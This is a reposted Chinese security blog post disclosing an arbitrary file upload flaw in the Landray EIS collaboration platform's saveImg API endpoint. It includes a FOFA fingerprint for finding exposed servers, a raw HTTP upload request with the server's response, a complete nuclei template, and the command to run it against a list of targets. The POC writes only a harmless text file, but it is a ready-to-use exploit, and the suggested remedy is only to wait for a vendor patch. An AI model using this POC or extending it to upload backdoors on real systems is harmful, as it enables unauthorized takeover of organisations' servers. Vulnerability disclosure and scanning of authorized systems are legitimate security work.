【在野1day】蓝凌EIS智慧协同平台任意文件上传(附POC)

admin 2024年2月18日16:30:16评论65 views字数 2781阅读9分16秒阅读模式

使

01

漏洞名称

蓝凌EIS智慧协同平台任意文件上传

02

漏洞影响

蓝凌EIS智慧协同平台,版本不详

【在野1day】蓝凌EIS智慧协同平台任意文件上传(附POC)

03

漏洞描述

蓝凌eis智慧协同平台是由深圳市微达软件有限公司开发的用于企业在知识,协同,项目管理等场景的OA系统。其存在任意文件上传漏洞,未经授权的攻击者可通过此漏洞上传恶意后门文件,从而获取服务器权限。

04

FOFA搜索语句
icon_hash="953405444"

【在野1day】蓝凌EIS智慧协同平台任意文件上传(附POC)

05

漏洞复现

/eis/service/api.aspx接口发送文件上传数据包

POST /eis/service/api.aspx?action=saveImg HTTP/1.1Host: x.x.x.x:xxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Content-Length: 197Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu------WebKitFormBoundaryxdgaqmquContent-Disposition: form-data; name="file"filename="icfitnya.txt"Content-Type: text/htmljmnqjfdsupxgfidopeixbgsxbf------WebKitFormBoundaryxdgaqmqu--

响应内容如下

HTTP/1.1 200 OKConnection: closeContent-Length: 63Cache-Control: privateContent-Type: text/html; charset=utf-8Date: Thu, 19 Oct 2023 03:20:55 GMTServer: Microsoft-IIS/8.5Set-Cookie: ASP.NET_SessionId=itppbirculyawf55j224de55; path=/; HttpOnlyX-Aspnet-Version: 2.0.50727X-Powered-By: ASP.NET/files/editor_img/20231019112066058989/20231019112055073649.txt

body为回显文件路径

【在野1day】蓝凌EIS智慧协同平台任意文件上传(附POC)

证明存在漏洞

06

nuclei poc

关注公众号,回复0016获取poc源文件

poc文件内容如下,鉴于复制后格式容易出错,建议下载源文件

id: landray-eis-saveimg-fileuploadinfo:  name: 蓝凌eis智慧协同平台任意文件上传  author: fgz  severity: critical  tags: landray,fileupload  description: |    蓝凌eis智慧协同平台是由深圳市微达软件有限公司开发的用于企业在知识,协同,项目管理等场景的OA系统。其存在任意文件上传漏洞,未经授权的攻击者可通过此漏洞上传恶意后门文件,从而获取服务器权限。  metadata:    max-request: 3    fofa-query: icon_hash="953405444"    hunter-query:    verified: truevariables:  file_name: "{{to_lower(rand_text_alpha(8))}}.txt"  file_content: "{{to_lower(rand_text_alpha(26))}}"http:  - raw:      - |        POST /eis/service/api.aspx?action=saveImg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Connection: close        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu        ------WebKitFormBoundaryxdgaqmqu        Content-Disposition: form-data; name="file"filename="{{file_name}}"        Content-Type: text/html        {{file_content}}        ------WebKitFormBoundaryxdgaqmqu--      - |        GET {{file_name2}} HTTP/1.1        Host: {{Hostname}}    req-condition: true    extractors:      - type: kval        name: file_name2        internal: true        kval:          - body    matchers:      - type: word        words:          - "{{file_content}}"        part: body

将授权扫描的url放入1.txt文件,运行POC

.nuclei.exe -t .2023landray-eis-saveimg-fileupload.yaml -l .1.txt -me result

【在野1day】蓝凌EIS智慧协同平台任意文件上传(附POC)

07

修复建议

关注官方发布的补丁信息。

原文始发于微信公众号(AI与网安):【在野1day】蓝凌EIS智慧协同平台任意文件上传(附POC)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月18日16:30:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【在野1day】蓝凌EIS智慧协同平台任意文件上传(附POC)https://cn-sec.com/archives/2132613.html

发表评论

匿名网友 填写信息